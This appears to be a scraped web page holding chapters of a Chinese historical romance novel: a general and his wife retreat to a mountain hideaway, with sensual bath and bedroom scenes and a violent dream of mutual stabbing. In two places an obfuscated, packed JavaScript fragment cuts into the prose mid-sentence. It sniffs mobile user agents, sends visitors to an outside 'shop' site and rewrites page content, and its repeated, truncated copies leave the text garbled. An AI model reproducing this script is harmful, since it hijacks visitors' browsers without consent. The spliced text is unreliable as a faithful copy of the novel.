建宁八年八月底,建宁王耗时近一年,斥巨资造出十艘门舰,苻洵受命前往珪山、重建渝安水师。 召集旧部、募兵开始之后,苻洵却没有待在繁华富庶的珪山,而是收拾了大堆包袱,用三匹矮脚马驮着,在一个白雾弥漫的清晨,带着锦瑟进了深山。 “成婚后的第一个生辰,想与姐姐在一个特别的地方共度。” 蓥山最西侧分支禄丰山、与珪山北端交界之处,水似碧绫带,峰似青玉 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苻洵笑而不语,牵着马队慢慢走下山路,穿行在田垄上。日头初上,农人们都正在田间忙着割稻谷,纷纷抬头向他们打招呼。 此处村民全都赤足、穿着色彩斑斓的布衣和短裙,袖不过肘、裙不过膝,男子的头发包裹着或黑或蓝的布,女子黑发在脑后挽成椎髻,用一支银簪挽起,全身披挂各色银饰。 锦瑟讶然:“他们都是蛮族人?” “他们都是我的族人,却回不去十万大山、在外又无立锥之地”,苻洵看着来往忙碌的人,眼里漾出笑意,“蛮黎不出境,出境者会被终身缉拿追杀。” “这里住着的,都是在各国无容身地之人,被故乡、亲人抛弃之人、穷途末路之人……” 锦瑟扫视了一圈他们怡然自乐的模样,目不转睛盯着苻洵:“所以,你辟出这方世外桃源,让他们有家可归?” “姐姐觉得这是世外桃源,那可太好了”,苻洵笑意加深,“起初收容他们,并非是希望他们安居乐业,而是想着何时杀回十万大山时,他们能为我所用。” “后来呢?” 苻洵笑容苦涩了些:“我运气太差,每次稍动恶念、稍有恶行,总会越闹越大收不了场……后来有个人用命教会我最简单的道理:所有爱恨、都重不过生死。” 说话间,他们已走到村长家,苻洵从其中两匹马背上卸货,解开麻袋散在院里,全是些镰刀、锄头、锅碗瓢盆、盐等山里无法自产的货物。 村长称苻洵为“诃那”,又细细端详了一番锦瑟。苻洵拿出一个吊坠,穿上银丝绳带挂在她颈间,那是个纯银的祥云形锁,錾刻着一对栩栩如生的蝴蝶。 村长见到那银锁,忙满脸堆笑、眼神郑重:“这个村子的所有人,无论何时何地、发生何事,都将如同尊敬你那般,尊敬你的妻子。” . “姐姐,进山的路可记清了?”苻洵拨弄灯芯、将油灯挑亮了些,展开巨幅山脉走向图,用鼠须笔蘸丹砂描出路径,又依次画出六个木石阵的经行路线。 锦瑟莫名抗拒这些舆图,只匆匆扫了一眼就拿开:“下次你陪我进来不就行了?” “我当然想”,苻洵勾了勾唇角:“就怕有朝一日,姐姐不愿再与我同行。” 锦瑟不解何意:“跟你同行很愉快……怎会不愿?退一万步,真到了不愿与你同行那天,我还来这儿作甚?” 苻洵目光落在她颈间,指腹轻轻摩挲她脖颈的肌肤,那里曾横着一圈狰狞的紫红勒痕,她被救出之后近一个月,那勒痕才逐渐消散。 他深深注视了片刻,别开脸看向窗外。 “若姐姐哪天觉着待在外面没意思,累了腻了,可以来此歇息。无论我在不在,这里都是你的。” 134. 梦魇 锦瑟心神微震,被他一番话说得愁肠百结,怔了片刻正要开口。却又见他眉眼弯弯、眼波流转,歪头漾起一个暧昧的笑:“阿洵也是姐姐的。” 果然正经不了多久! 她无声腹诽,苻洵已舒展双臂伸了个懒腰,推门而出:“短短一个月,纵跨南北两千多里,骨头都颠散了。天刚黑,姐姐在屋子里闷着作甚?” 乍一开门,凉爽山风扑面而来,挟泥土和翠竹的清香。苻洵没有等她,三步并作两步下楼,一溜烟消失在屋后。她莞尔一笑,摇摇头、缓步走下木楼梯跟了过去。 这座吊脚楼比村子里那些更隐蔽,从村长家屋后往山里走,并没有清晰的路,只能踩着草木稀疏的地方摸索。走约莫五里、可见大片幽森竹林,竹林深处一条两丈宽浅溪,鸣泉流泻、飞珠溅玉,踏过溪上的青石桥才到这里——他们在深山的家。 屋舍建造花足了心思,木材全是防虫蛀水蚀的樟木、刷了厚厚桐油,砌筑石头用的黄泥全都掺了石灰和米浆水,朴实简约却十分牢固耐用。 更喜人的是,屋后有一口小小汤泉,丈高的木篱笆环绕一周,纤软花藤爬满篱笆,素馨花期已过、铺陈着郁郁葱翠,蔷薇正值盛期,满篱笆摇曳着姹紫嫣红,美丽又隐蔽。 锦瑟唇角噙笑,推开篱笆门漫不经心扫了一眼,顿时心跳一突、咽了口唾沫,从双颊一直烧到耳根。 胭脂色长袍随意搭在岸边白石上,热气氤氲,蒸腾的白雾将汤泉包覆在内。苻洵随意歪坐浸泡在池子里,只穿着素白色苎麻中衣,上半湿漉漉贴在身上、下半漂在水里,乌发如墨随意披散下来。 脱得这么快…… 池水流淌着乳白热气,他嘴唇发白,双颊被热气熏出不正常的红晕,精巧的五官褪去轻佻,竟透出无边孤寒,看去像一只即将碎掉素白瓷瓶。他眉心微蹙、双目紧闭,竟已睡着了。 锦瑟心一沉,忙轻声呼唤:“阿洵?” 连唤数声,他都毫无反应,她心底涌出一阵惊惶,颤颤巍巍上前,推了推他的肩膀,他纹丝不动。无法名状的恐惧摄住她的心神,连呼吸都困难起来。 扫视四周、空无一人,她忙起身绕池子疾行几步,顺台阶下了水池,向他走去。 即将靠近时,沉睡中的他霍然睁开双眼,眸中精光暴涨、飞快闪过一抹狠厉,伸臂一捞用力将她拽过去。水花四溅,呛得她窒息了片刻,猝不及防栽进他怀中。 水汽潮润闷热,他双眼雾蒙蒙的,神情晦暗莫明、脸色更惨白,额头汗滴如豆,嘴唇、身躯都在微微发颤。定睛一看,脑后黑发竟又多了几绺灰白。 她伸手想摸一摸他额头,被他紧紧摁在怀里,他的呼吸短促而混乱,低喘着哑声道:“别乱动……” 锦瑟急切地问:“你怎么了,哪里疼?” 他一言不发,迷离缥缈的眼眸一瞬不瞬盯着她,低喘半晌,才长长吐出一口气,眼神平静下来。然后,牵过她的手按在自己心口,哑声叹息:“这儿疼。” 他身材很匀称,胸膛坚实得像石头,隔着湿热布料,在她掌心微微扑腾着热气,鲜活而富有弹性。 她的心突突直跳,又艰涩地咽下几口唾沫。 他忽然笑了,眼神慵懒而暧昧:“姐姐这样贴着它,就不疼了。” 还是那副轻佻德性! 锦瑟恼羞成怒抽出手、扭身走向石阶,刚走出几步就被他从后拦腰抱住,狠狠扯了回去,强行转了个方向、跨坐在他膝上,与他四目相对。 他眼中隐隐涌动着戾气,一手使劲搂住她腰背,使他们身躯紧紧贴在一起,一手用力扣住她脑后,使她无处可闪避。微凉的嘴唇覆下来,在她脸颊、耳后、下颌、脖颈反复蹭来蹭去,蹭得她又痒又麻。 颤声哀求:“别走!他们有什么好,为何你总要为他们舍弃我?” 亲吻慢下来,他双臂难以自已地颤抖、攥紧成拳,动作停顿了半晌才缓缓松开她,声音沙哑而虚弱:“姐姐,我想亲近你。” 她注视着他双眸,轻轻“嗯”了一声。 池水温热发烫,他的手却是冰凉的,慢条斯理一件件褪下她的海棠红褙子、藕荷色交领上衫,扯开她腰上系的锦带,掀开裙子下摆,任罗裙松脱、漂荡在水中。 整个过程,他都目不转睛盯着她,眼神像沉沦,又像恨意刻骨,还满是痛苦、不甘和忍耐。 锦瑟被他盯得连连寒噤,不自觉屏住呼吸,大脑一片空白。 他突然扬唇笑起来,轻轻摩挲着她细腻的下颌:“抱歉,刚才打盹做了个噩梦,吓到姐姐了。”眉眼弯弯,眸漾春水,又是那副轻浮浪荡的模样。 锦瑟竭力缓和心绪,挤出一个微笑:“你方才真的只是睡着了,身子可还好?” “好不好的,试试不就知道了”,他的眉眼带着笑意,一语双关,目光又变得炙热,喉结上下滚动几次,哑声重复了一次,“姐姐,我想跟你亲近。” 锦瑟一时不知怎么应答,无奈地提醒他:“阿洵,我们是夫妻。” 苻洵眼里渴求骤然变冷,喃喃自语:“对,因为是夫妻,所以无论你愿不愿意、想没想清楚,我都可以对你为所欲为,名份可真是个好东西……”他不禁笑出声来,笑得双肩不住抖动,神情满是嘲讽与玩味。 锦瑟懵了半天,心底慢慢涌出一股心疼和酸楚,抬手抚上他的脸:“不止如此,更因为我喜欢……” 她没能继续说下去。 他的吻再次落下、强势而温柔,将她下半句话堵在喉咙里,急切地探索她分寸之地,呼吸越来越重、变成喘息,慢慢移到脸颊、耳后,声音低沉而醇厚,一遍遍哑声唤她,唤得她耳根都酥了、心窝一阵阵战栗。 像一只受伤后索求抚慰的小兽。 嘴唇往下移去,在脖子上反复逡巡,蹭得她半边身子又软又麻,手也停在她衣襟处。 旋即,飞快松开她,略带畏惧地别过脸,不去看那层单薄衣料。又过了半晌,他深呼吸几次,才磨磨蹭蹭伸手,闭眼解开她的中衣,只剩最贴身的心衣。 他慢慢回过头,试探着睁开一线,然后一点点睁大,炽热的目光和微凉的指腹,同时在她上半身游移。莹白肌肤柔软而温热,除却后背、右肩正在淡去的疤痕,以及左腰那块深红色烙印,其余大片皮肤如同上等白玉,没有半点瑕疵。 他注视了半晌,垂眸苦笑,然后反手解开自己的中衣。透过薄纱般的雾气,锦瑟看清他上半身后,不由倒吸一口凉气。 整整七道伤疤! 粉红透紫的伤痕,似丑陋的蜈蚣爬满上身,左右肺部各两道,腹部两刀,还有一道正对心口。她颤抖着伸手,抚上他后背,更是触之惊心,后背对应的相同位置,有着一模一样的伤疤。 她脑子里倏然掠过一亮电光,两耳轰鸣,太阳穴突突直跳、针刺般剧痛起来。 他却没给她留思考的时间,手顺着她肩膀、锁骨继续向下,在她后背和腰胡乱游走,隔着那层薄薄绢布摩挲。动作竟十分生涩,颤抖着摸索半天才解开心衣的细带子。 却没有下一步动作,只肌肤相贴、紧紧抱住了她。 他的身躯瑟瑟发抖,像是暑九寒天地冻着,又像是万箭穿心地痛着,箍着她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14504477|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双臂越拢越紧,侧过头贴着她的颈窝,在她耳边哑声低语,又像是苦苦哀求。 “抱抱我,就一直这样抱着,不要松开。” “无论以后发生何事,不要恨自己,要恨就恨我太贪心。” . 锦瑟被用力箍紧,在他怀里沉沉睡去,睡到半夜感觉周身发热,仿佛置身阳春三月。 她睁开眼,视野是模糊的,一团团昏黄、白亮的光晕拂来拂去,怎么都挥不开。身体却很温暖,似乎被人紧紧抱着。耳畔有人说话:“起露了,姐姐,回去歇息吧。” 是苻洵的声音。 她被他半揽半搀地,走进一团更亮的光晕。真奇怪,她明明有力气走路,为何表现得如此弱柳扶风,任他搀着? 走进那团光亮后,她褪下自己的外袍,只穿着一件单薄的丝麻中衣,搂住他的腰、身体紧紧贴上去。他也褪下那件坚韧的锦缎长袍,面对面抱着她,用体温去捂热她轻微战栗的身体。 “阿洵绝无冒犯之意,只是男子体热,姐姐若是不嫌弃……” 她未置可否:“灯好亮,睡不着。”苻洵好像动了动手臂,灯灭了。 她抱得更紧,低下头在他胸口轻轻蹭着,似乎在探寻什么。终于,她听到那熟悉的声音——他有力的心跳,噗通噗通像是擂鼓。 她感觉自己右手攥紧一物,悄无声息、疾如闪电地抽出,那物冰凉而坚硬,像是一柄刀。 然后,翻转手腕、调转刀尖,用力刺入那个后背。刺穿他单薄的丝麻衣料、坚实的后背、柔软的肺腑,捅穿他身躯再从前胸刺出,却没有停、一路狠狠刺进自己胸口。 苻洵身躯一僵,下意识想推开她,她却竭尽全力用左臂箍紧了他,右手不断拔出、刺入、拔出、再刺入…… 第二刀、第三刀…… 一刀比一刀用力,贯穿他身躯之后,刺进自己身体也一刀比一刀更深,没有迟疑,没有停歇。 忘了刺到第几刀,忽然灯火通明,照得四下亮如白昼,模糊了许久的视线突然变得清晰,她发现自己站在一顶帐篷内,帐篷内壁溅满鲜血。 苻洵全身上下像从血池里捞出来的,直勾勾盯着她,眼眶通红:“你就这样恨我,不惜自戕也想要杀了我?” 她弯了弯唇角,眼尾溢出两滴温热:“不,我从未恨过你,从始至终,我恨的只有自己。” 他拖着血淋淋的躯体走近,疼得全身颤抖、却还是紧紧抱住她,在她耳畔喃喃低语:“没事、没事……我知道你想说什么。” 她头晕得厉害,眼前一阵白一阵黑,于是闭上双眼。手却没有停,屏息忍着剧痛,用尽全身力气刺入、拔出、再刺入……每一刀都捅穿了他的身躯,深深捅进自己五脏六腑,将他们钉在一起。 他没有还手,只是就那样紧紧与她拥抱,一颗颗泪水滴落到她脸上,灼热的、又咸又苦…… “好累”,感觉苻洵的气息越来越微弱,她右手扶着刀柄,穿过他的身躯、往自己胸口捅得更深了些,左手轻轻抚上他的脸,替他擦拭泪水,“阿洵,我……” “阿洵在这儿”,耳畔忽然响起苻洵轻快的声音,“姐姐这么想我,做梦都在呼唤?” 温热的湿气扑面而来,她睁开双眸,只见天心一弯上弦月清素如霜,她和他都还浸在汤泉里。 苻洵依然湿漉漉披着那件中衣,领口敞开直到腹部,明亮月光下,他胸膛和腰腹那层薄肌很结实有力,皮肤冷白光洁,只浅浅散布着几道擦伤和箭伤的疤痕。 他歪坐在旁边,正细细把玩着什么,笑容玩世不恭、眼神却凝重。 135. 以身相许 锦瑟松了一口气,张张嘴正要回苻洵,眼角余光突然瞥见他手中之物,不禁有些诧异。他正在把玩的是一支银簪,通体银白,末端錾刻七朵芙蕖花、巧妙镶嵌着芙蓉石。 这支簪子是她进山前在珪山买的,当时,这只簪子在一排珠光宝气中并不显眼、也不贵气,仅仅款式精巧,不知怎地被她一眼看中,还越戴越喜欢。 她心念一动,低头看自己,衣裙、褙子都整整齐齐穿在身上,被池水浸湿。鬓发散乱,一蓬青丝垂落水中。 心头涌起强烈的不真实感,天上的月亮、眼前的人、池子、篱笆都像置身梦境。 她又看了一眼那银簪,额心猛然刺痛,闭上眼,耳边卷过刹那喧嚣,眼前有支款式相似的芙蕖簪,玉石质地,被摔碎地面、再被马蹄踩成齑粉。 苻洵轻蹙眉:“姐姐刚才梦见什么了,一边哭一边喊阿洵?” “梦见我跟你……”锦瑟回想起那个梦,梦里的极致剧痛、心如刀割、悲怆和泪水都如此清晰真切,她忍不住靠过去,一寸寸抚过他胸膛,温热的、没有什么捅刺刀伤,松了口气问,“阿洵,我何时下的池子?” “嘶——你若喜欢,随便摸”,他抓住她的手贴在自己心口,笑吟吟地调侃,“我刚下来不久,你就跟过来了,只是太过端庄,泡汤泉都不肯宽衣解带,哎,真叫人伤心失望……” 锦瑟脸红耳热,迅速缩回手、低头不语。 他饶有兴味地追问:“所以——究竟梦见我们怎么了?” 云蒸雾绕,她感觉眼前一切变得越来越虚幻,像开在劫灰里的花,浮在蜃楼上的画,不禁苦笑:“忘了,池子泡得太久,头晕。” 苻洵忙收敛笑容,一脸关切地摸了摸她额头:“有些烫,确实泡得太久,该回去了。” 拉着她走到岸边,然后湿漉漉地跃上岸拉她上来,又将她打横抱起,沿着木楼梯拾级而上。 言行轻佻、体贴温柔、有些不正经的他,活的……没有淋漓鲜血、没有满身刀伤,像是这虚缈景象中唯一的真实,像一团灼热火焰吸引着她。她迫切地想逃离可怖梦境,于是渴求靠他更近、更近一点。 “这是真的。”她抬手抚上他温软的唇,恍恍惚惚地说。 他轻轻笑了一声,抱着她上楼、穿堂入室,小心地放在竹编凉榻上,找了件干爽的寝衣递给她。然后背过身,换下自己那身湿透的中衣。 她在换干爽的寝衣时,他背对她找了块干帕子,等她换完后、走过去替她擦干头发。然后,慢慢擦着自己湿漉漉的头发,侧过身,在清冷的月光里静静注视着她。 心底被吸引着,涌起的渴求更甚,她身躯上引撑起,伸手环住他脖子,慢慢靠近他的脸,近在咫尺、能感知到他乱了的呼吸。 “阿洵,这里与世隔绝,没有什么国家,只有我和你。” 她不知道自己怎么说这句话,只是话一出口,沉甸甸的心倏然松了,侧头覆上他的唇。 苻洵蓦然呆住,手里的帕子掉落下去,双臂一动不动僵在半空。 许久,他深吸一口气、喉结止不住地滑动,用力扣在她脑后,啃咬撕扯她的唇舌、脸颊、下颌、脖颈,手掌颤抖着攥紧她的寝衣,焦灼而急切,全身发颤像是承受着极致痛苦,却死死隐忍,不肯继续下一步。 滚烫的气息拂过脸颊,她眼神逐渐迷蒙,轻声问:“阿洵,你是不是不喜欢我了?” 苻洵动作蓦然一顿,松开她,摇头柔声道:“不,我比爱自己还要爱你。” 她又问:“那你为何成婚后从不亲近我?” 苻洵眼神痛苦越来越重:“我怕有一天你会恨自己。” “我喜欢你”,她鼓起勇气拉过他的手,放在自己腰上,“即使恨自己,也绝不会是因为喜欢你。” 她像是点了一星火苗,将面前的人瞬时引燃。 他急切地覆在她身上,嘴唇顺着脖子胡乱往下蹭,蹭得她又痒又麻。感知着他的亲吻,她也开始配合。他却又忽然顿住,眼睛湿漉漉盯着她,渴望和心疼天人交战,手也停在领口。 “别动”,他闭上眼低声轻喘,手背和脖子青筋突兀,艰难地支撑上身缓缓抬起,又哑声哀求,“不要乱动。” 这次,她没有听话,撑起脑袋、轻轻在他喉结上啄了一下。 他紧绷的身躯像一根弦,隐忍克制太久,终于不堪重负,崩断。 寝衣带子打着常见的结,他却不知怎的,颤抖半天没有解开,动作又生疏又紧张。她有些诧异,心中羞怯和渴望天人交战片刻,还是决定帮他。刚刚背过手摸上带子,只听一声清脆裂帛,单薄的苎麻衣料竟然被他生生撕开。 他明明急切焦灼,落到实处却十分珍惜体贴,吻温柔而稠密,像飞花、像细雨。动作又轻柔又怜爱,十分生涩,小心翼翼试探,像对待什么极致贵重而脆弱的宝物。 呼吸是滚烫的,身躯是滚烫的,渴求也是滚烫的。几番辗转后,她终于完全接纳了他,温柔燃烧的火焰爆开,绵绵细雨倏忽化作疾风骤雨。 她是被饿醒的,睁开眼睛发现房间空荡荡的,不禁有些失落。试着坐起身,岂料略微一动,全身又酸痛又软,使不出半分力气,像是散架了。 果然是年轻武将,千锤百炼的身体……体能好腰力强。起初还生涩谨慎,过了某个坎就开始失控,跟刚刚开荤似的、没轻没重折腾大半宿。 她回忆起昨夜的大胆疯狂,霎时脸红心跳,眼神又开始迷离。心绪翻涌五味杂陈,斜靠在枕上漫无目标地乱想。 门外传来脚步声,她如梦初醒,迅速钻进被窝、将整个脑袋都埋进被子里。 “起来吃完饭再睡。”木门“吱呀”一声开了,他的声音在床边响起。 她小心翼翼将脑袋探出被窝,饭香霎时钻进鼻子,熏得她更饿了,肚子咕咕叫起来。目光搜寻一圈,掠过桌上热腾腾的饭菜,瞥见他的背影走了出去。 昨晚的衣衫不能穿,竖柜距离床还有近两丈距离。她纠结挣扎半天,将被子拢在身上裹紧,赤脚踩在石地板上,冰凉沁骨。 蹑手蹑脚走到竖柜,从被筒里伸出一只手去拉柜门,他正从曲廊走过来,提着一桶热水,屋里放着一只大浴盆。他低头边走边说着“要不要先洗个澡,我烧了……” 走到门口抬眸、四目相对的刹那,二人动作同时僵住。 她的脸原本就滚烫,此时更是像被烈火熏烤,竟忘记扯住被子,薄被滑落一截、露出上半身无数暧昧红痕。他的话卡住了,将水桶往地上一杵,“嘭”地带上门落荒而逃。 沐浴完毕,她换上干爽衣裙,坐在桌边吃他亲自下厨做的饭,不知该叫午膳还是晚膳,一如既往地鲜香。清淡菜粥配清炒芦蒿,还有一条松鼠鳜鱼。赤油浓酱,以往吃着油腻,此时肚子饿得凶,竟觉得分外可口。 苻洵背对着她,磨磨蹭蹭更换床褥拆被套,全程低着头,似乎除了地面不知该看哪儿,耳根通红。 她恼羞成怒——他凭什么看起来比自己更害羞? 吃饱喝足、睡意消散大半,走出门去,天边尽是瑰丽晚霞,令她无端想起熟透的蜜桃和柿子。 她迎着凉爽山风走到溪边,他正在溪边洗衣袍和被单,浓墨重彩的布匹漂散在溪水中,像泼洒满溪饱和的胭脂汁。她才注意到,楼里的帘子、窗纱、被单……全是深浅不一、各具特色的红。 “你很喜欢红色?”她走过去搭了把手,揪住漂着水中的被单另一头,帮他拧干水分。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14507769|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他笑了笑:“你以前说过,我穿红好看。” 以前,又是以前。她经常会想,自己到底跟他有什么刻骨铭心的过往,他才会将自己每句话都记得那样清楚。 清凌凌溪水将晚霞反射在他脸上,干干净净凛冽孤寒,还有几分沉静内敛,全然没有平时那副轻佻浪荡样。不知为何,她觉得这才是最真实的他。 他们的行李中有干净被单,铺展在床上散发着淡甜的花香,是她常用的素馨香露。床很大,靠窗放着、没有罩任何帷帐,她躺在床上看着窗外夜空,看云朵慢慢移过来,盖住月亮。 风越吹越大,山林传来松涛声,磅礴澎湃,显得屋子里愈发安静,他们的呼吸声和心跳声都清晰可闻。 “要下雨了”,他将被子拢了拢,把她盖得严严实实,柔声开口问,“被子够不够厚?冷不冷?” 她如梦初醒,侧头飞快瞥过他,脸烧到耳根,垂眸避开他的注视。明明之前,他们已这样同床共枕四个多月,却因一晌旖旎多了别样滋味。 她红着脸、眼观鼻鼻观心,不时偷偷抬眼瞄他,每次都发现他正看自己。 他眼神炽热,夹杂着凶狠的侵略欲,像是要将她拆吃入腹的野兽。旋即又冷静下来,深深吸气合眼,极力平复心绪、将野兽关回去。然而不过须臾,他眉心止不住剧烈跳动,像在忍受极致痛苦,眼神再次变得炽烈。 如此反反复复许久,他伸臂枕在她后颈揽住,另一只手滑过她后腰,轻柔、缓慢、意味深长:“还疼吗?” 她脸烫得像要烧起来,声音细如蚊蚋:“还有点……也不太疼……” 他挨得更近、撑着上半身覆上来,慢慢吻下,呼吸吹拂在她脸上,又像是拂在她心上。她屏住呼吸,任由他缠着自己舌尖反复吸吮,情不自禁伸臂环住他脖子,亲得久了,她头皮发麻、脑子有些晕眩,身子又开始发软。 他呼吸乱了,她呼吸也乱了。 食髓知味,经历过昨夜的疯狂,她有些情难自已,强烈的羞耻感令她背过身盯着窗外。他的手从背后伸来,滚烫有力,他的呼吸喷在她耳后,滚烫潮闷。 她感觉身体迅速燃烧起来,声音发颤:“你又想……” “一直都想……我中了你的相思毒,你就是我的解药”,他似乎也控制不住对她的渴望,下颌搁在她颈窝轻轻喘息,“姐姐愿替阿洵解毒么?” 眼前眩晕越来越重,身体竟不自觉靠向他、开始配合,她听到自己语调颤得厉害:“愿意。” 身后的苻洵似乎笑了,又问:“我要什么都给?” “你想要什么?”他一定是个擅长魅惑人心的魔鬼,总让自己心软、没办法拒绝。她难耐地仰起头,目光涣散望向窗外,想让自己清醒些。 蕴集许久的秋雨终于落下,似密密匝匝的丝线交织在夜色中,风疾雨乱。 少许雨丝飘散到进窗户,落在脸上,清澈凉爽十分惬意。天地间一片静谧,深山一片静谧,仿佛只剩他们二人。什么国家、战争、立场……熟悉的不熟悉的、久别重逢和永远忘记的人,都远得像一场梦。 秋雨簌簌,意乱情迷中,她听他在耳边轻语:“我想要——” “哪怕所有人都背弃了你,你也不要怨恨自己、放弃自己。” “若实在无处可去、就来到这里,不来这里也无妨,不再爱我也没事,只要你好好活着、好好爱自己。” “答应我,锥心刻骨之痛,不要再让我经历一次。” 她握紧他的手、十指相扣,郑重得宛若盟誓。 “我答应你,无论发生什么,永远不自怨自艾、自暴自弃。” “我会好好爱自己,以及——永远爱你。” “阿洵。” 136. 真言谎言 苻洵又在弄饭菜,这段时间两人的饭菜都分开做。 他自己那份全是五谷和菜蔬,不加一点油盐香料,锦瑟那份就正常得多,该咸的咸、该甜的甜。 有次她端错饭食,浅尝一口险些全吐了。十分天然去雕饰的菜,苦、酸、涩等真味俱全,狗闻了都得摇头。他却神色从容,甚至吃得有几分津津有味,搞得她都怀疑自己味觉出了问题。 “你没尝错,它就是苦的”,苻洵慢悠悠吃下一撮水煮山苦荬,“我最近斋戒,要吃淡食。” 啥?还斋戒? 其实她真正想问的是,为什么斋戒只戒饮食,不戒别的。因为斋戒的时候,他一点也不像在山外那般清心寡欲,反而十分肆意放纵。 他在浸汤泉的时候最疯狂,他们似乎无需什么言语,略一对视都会被对方撩拨得心旌荡漾,每次渴求又急切又凶狠,情不自禁就双双沉沦。 在这三不管、与世隔绝的深山里,他们都忘却了自我和身份,变回最纯粹的男子和女子。他们一起在这深山,劈柴、打水、浣衣、做饭,过得琐碎而安宁。 他很喜欢泡汤泉,每天黄昏晚膳之后,总没完没了浸在池子里,原本这么长时间对身体并无裨益,但一念及他那铁打的身板,多泡会儿碍不着什么事,也就罢了。 她自然不敢这么泡,每天晚膳后先去竹林里散步消食,然后抱着绿绮在楼上练琴。他这次入山带了一打乐谱,什么《高山流水》《凤求凰》、《柳绵》、《良宵引》…… 她琴技生涩,弹来弹去总不成调,弹的最好的是《留别妻》。 “欢娱在今夕,嬿婉及良时。征夫怀远路,起视夜何其……”她仿佛看到,妻子将平安结系到丈夫的手腕上,那曾在洞房花烛夜拥抱着妻子的健壮手臂,须臾变得僵冷,被埋入泉下肉销骨融。 “……参辰皆已没,去去从此辞。行役在战场,相见未有期……”她仿佛看到,一望无垠的原野上,烽火四起、狼烟处处,星光下无数骑士昼夜奔驰,亲人、朋友、爱人、袍泽,一转身就是一辈子。 “……努力爱春华,莫忘欢乐时。生当复来归,死当长相思。”她仿佛看到,恩爱难分的夫妻、依依惜别的母子,转眼各奔东西,古老巍峨的关隘、尸骨累累的山谷、兵临城下的国都,那些背影再也没归来。 她不记得何时见过这些场景,却总身临其境、同悲同喜。 月亮升起来,她也换了寝衣,下汤泉去泡着。这是一汪活泉,泡了两刻筋酥骨软,在地牢受的那些伤都舒坦了不少。 她理解了苻洵为何喜欢浸在里面,对于他这样经常上战场的人,新伤叠旧伤,泡汤泉确实十分舒服,应当对疗养也是有所裨益的。 苻洵摘了朵深红蔷薇,放在水面随波逐流,一旦蔷薇往某个方向去了,他又伸手轻轻一拨,将它方向拨偏。 她也摘了一朵浅紫的,托在手心,看它在波心悠悠打着旋儿。 “阿洵,这世上为什么有打不完的仗?”话一出口,她自己都觉得蠢,武将不征战、难道呆家里绣花? 苻洵却一改往日吊儿郎当,正色道:“因为我们是人,有人的地方就有争斗。” “人心不足,小国想扩张,大国想吞并。一纸盟约不行,示弱求和不够,因为每个人都会想——卧榻之侧岂容他人酣睡。” 他张开双掌、举到月光下,仰头专注看着:“我这双手,挑起过很多战争、杀过很多人、灭过很多部落和小国,甚至实施阴谋和阳谋、分裂过一个大国。” “恨我的人很多,想杀我的人更多,可我从不后悔。那些人骂我残忍暴戾、狼子野心,可我的作用,不过是串起了那些或早或晚、总会爆发的战乱。我若身死,并不会止兵息战。” “不过是从我带兵,变成别人带兵;不过是从他国分裂,变成荣国灭亡。其实,谁强盛谁灭亡都一样,可我既选择了做荣国的将领,就不能眼睁睁看它被磋磨欺凌,渐弱渐消。” “所以,你征战是为国”,锦瑟若有所思,“这是你自小的抱负么?” 苻洵仰头看向越来越圆的月亮,思绪飘渺、眼神恍惚:“我亲手杀过几个人……” 锦瑟默了半晌,幽幽道:“你亲手杀过许多人。” “我是说,在战场之外”,苻洵摇头,“第一次,我杀了几个与我交好的宗室子,为了权势和一桩指望……后来,我得到了比我预想更高的权势,那指望却始终未遂。” 锦瑟:“什么指望?” 苻洵苦笑道:“那时我还不太懂权势有多好,所有谋划,更多是为了向合作对象讨要喜欢的……东西。可是,我喜欢的,他也喜欢。” “第二次,我杀了一个至亲和他的同僚,为另一桩指望的落空……” 深红色蔷薇在水中胡乱飘荡、漫无目的,他微笑着拨弄它、将它拨向一个固定的方向:“最初十几年,我就跟个无头苍蝇般,到处指望、到处落空……后来突然明白了,指望本就是毒药。” “谁都没有法子、也不应该,强求别人的心意符合自己的指望。所以,不能指望任何人。时运不济,我自求之;人不予我,我自取之。” 锦瑟静静注视着他,这个传闻中的战神,有些胆寒、又为他气魄震慑,半晌才拨回话题:“所以,你所求的是何物?” 苻洵似笑非笑看着她:“自然是,让荣国成为一流强国,我成为王兄一人之下、天下第二的权贵。” 锦瑟未置可否,只目不转睛继续盯着他,眼里带了一丝探究,许久才缓缓道:“可你一半是蛮族,一半是荣人,缘何只为荣国征战?” “有一位故人,我无意得知,她出生于滬国将亡时,一半是滬人、一半是灭滬的翊人,我当时问她为何如此选择”,苻洵毫不闪避,含笑与她静静对视,“她说,一个人属于哪里,不在于血缘、而在于牵绊。” “她的亲人、师父、挚友、袍泽、还有……还有养母,她所有的牵绊都在那,所以她是翊人。同样,我所有的牵绊都在这儿,所以我选择成为荣人。” 锦瑟仍注视着他双眼:“所有?” 苻洵避开目光,拈起深红蔷薇举到眼前,蔷薇上的刺扎破了手指,沁出一颗殷红血珠。他却毫不在意,神情有些恍惚:“很久之前有一个,在十万大山,已被我亲手斩断。” “还有一个,在翊……在另一国家,我曾视那牵绊重逾性命,也曾愿意为此离家去国。如今,那牵绊仍对我重逾性命,可我却不能再为此离家去国。” 锦瑟似有所感,轻声问:“因为建宁王陛下和你的抱负?” “说反了,我为国开疆拓土、为自己权势煊赫的那几年,恰巧是我最能舍弃一切之时”,他手指用力,蔷薇上的刺扎进更深,血珠越冒越多,“让我开始发现,自己无法割舍荣将身份的,是秦川和薛怀嘉。” 锦瑟更懵:“他们有何特别?” 